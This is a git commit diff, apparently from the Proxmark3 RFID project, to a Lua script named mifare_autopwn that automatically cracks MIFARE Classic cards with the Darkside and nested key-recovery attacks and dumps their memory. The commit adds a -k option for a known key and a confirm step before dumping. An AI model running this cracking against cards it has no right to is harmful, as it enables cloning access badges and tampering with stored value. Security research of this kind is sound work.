chg: 'script run mifare_autopwn' - added a option to use a key.

This commit is contained in:
iceman1001 2017-12-10 09:05:30 +01:00
parent 0e9f234f11
commit 79494182cd

View file

@ -29,9 +29,17 @@ local DEBUG = false
---
-- A debug printout-function
local function dbg(args)
if DEBUG then
print(":: ", args)
end
if not DEBUG then return end
if type(args) == 'table' then
local i = 1
while result[i] do
dbg(result[i])
i = i+1
end
else
print('###', args)
end
end
---
-- This is only meant to be used when errors occur
@ -39,7 +47,6 @@ local function oops(err)
print("ERROR: ",err)
return nil,err
end
---
-- Usage help
local function help()
@ -47,7 +54,6 @@ local function help()
print("Example usage")
print(example)
end
---
-- Waits for a mifare card to be placed within the vicinity of the reader.
-- @return if successfull: an table containing card info
@ -76,24 +82,29 @@ local function nested(key,sak)
else
print("I don't know how many sectors there are on this type of card, defaulting to 16")
end
local cmd = string.format("hf mf nested %d 0 A %s d",typ,key)
local cmd = string.format("hf mf nested %d 0 A %s d", typ, key)
core.console(cmd)
end
local function dump(uid)
core.console("hf mf dump")
-- Save the global args, those are *our* arguments
local myargs = args
-- Set the arguments for htmldump script
args =("-o %s.html"):format(uid)
-- call it
require('../scripts/htmldump')
dbg('dumping tag memory')
args =""
-- dump to emulator
require('../scripts/dumptoemul')
-- Set back args. Not that it's used, just for the karma...
args = myargs
if utils.confirm('Do you wish to create a memory dump of tag?') then
core.console("hf mf dump")
-- Save the global args, those are *our* arguments
local myargs = args
-- Set the arguments for htmldump script
args =("-o %s.html"):format(uid)
-- call it
require('../scripts/htmldump')
args =""
-- dump to emulator
require('../scripts/dumptoemul')
-- Set back args. Not that it's used, just for the karma...
args = myargs
end
end
--
-- performs a test if tag nonce uses weak or hardend prng
@ -114,11 +125,13 @@ local function main(args)
local verbose, exit, res, uid, err, _, sak
local seen_uids = {}
local key = ''
local print_message = true
-- Read the parameters
for o, a in getopt.getopt(args, 'hd') do
for o, a in getopt.getopt(args, 'hdk:') do
if o == "h" then help() return end
if o == "d" then DEBUG = true end
if o == 'k' then key = a end
end
while not exit do
@ -131,9 +144,7 @@ local function main(args)
-- Seen already?
uid = res.uid
sak = res.sak
if not seen_uids[uid] then
-- Store it
seen_uids[uid] = uid
@ -141,25 +152,29 @@ local function main(args)
-- check if PRNG is WEAK
if perform_prng_test() then
print("Card found, commencing crack on UID", uid)
-- Crack it
local key, cnt
err, res = core.mfDarkside()
if err == -1 then return oops("Button pressed. Aborted.")
elseif err == -2 then return oops("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).")
elseif err == -3 then return oops("Card is not vulnerable to Darkside attack (its random number generator is not predictable).")
elseif err == -4 then return oops([[
Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown
generating polynomial with 16 effective bits only, but shows unexpected behaviour.]])
elseif err == -5 then return oops("Aborted via keyboard.")
end
-- The key is actually 8 bytes, so a
-- 6-byte key is sent as 00XXXXXX
-- This means we unpack it as first
-- two bytes, then six bytes actual key data
-- We can discard first and second return values
_,_,key = bin.unpack("H2H6",res)
print("Found valid key: "..key);
if #key == 12 then
print("Using key: "..key);
else
-- Crack it
local key, cnt
err, res = core.mfDarkside()
if err == -1 then return oops("Button pressed. Aborted.")
elseif err == -2 then return oops("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).")
elseif err == -3 then return oops("Card is not vulnerable to Darkside attack (its random number generator is not predictable).")
elseif err == -4 then return oops([[
Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown
generating polynomial with 16 effective bits only, but shows unexpected behaviour.]])
elseif err == -5 then return oops("Aborted via keyboard.")
end
-- The key is actually 8 bytes, so a
-- 6-byte key is sent as 00XXXXXX
-- This means we unpack it as first
-- two bytes, then six bytes actual key data
-- We can discard first and second return values
_,_,key = bin.unpack("H2H6",res)
print("Found valid key: "..key);
end
-- Use nested attack
nested(key,sak)
-- Dump info